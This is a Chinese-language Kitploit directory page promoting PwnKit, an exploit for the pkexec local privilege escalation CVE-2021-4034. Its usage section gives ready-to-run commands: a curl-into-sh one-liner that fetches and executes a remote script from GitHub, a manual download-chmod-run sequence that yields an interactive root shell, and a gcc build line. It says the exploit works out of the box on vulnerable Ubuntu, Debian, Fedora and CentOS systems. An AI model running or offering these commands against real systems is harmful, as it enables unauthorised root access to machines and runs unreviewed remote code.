Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
PwnKit — CVE-2021-4034 的自包含漏洞利用 - Pkexec 本地权限提升 | Kitploit
工具/GitHubGitHub/ly4k/pwnkit
权限提升漏洞分析漏洞利用渗透测试
GitHubly4k/pwnkit

PwnKit

CVE-2021-4034 的自包含漏洞利用 - Pkexec 本地权限提升

查看仓库
1.3k20644年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

PwnKit

针对 CVE-2021-4034 的自包含漏洞利用程序 - Pkexec 本地权限提升

用法

在基于 Ubuntu、Debian、Fedora 和 CentOS 的易受攻击 Linux 发行版上应可开箱即用。

root@kitploit:~
sh -c "$(curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh)"

手动运行

root@kitploit:~
curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x ./PwnKit
./PwnKit # interactive shell
./PwnKit 'id' # single command

已修补版本

针对已修补版本运行该漏洞利用程序将产生以下输出。

编译

root@kitploit:~
gcc -shared PwnKit.c -o PwnKit -Wl,-e,entry -fPIC

技术细节

  • https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034

参考资料

  • https://github.com/arthepsy/CVE-2021-4034/
下载工具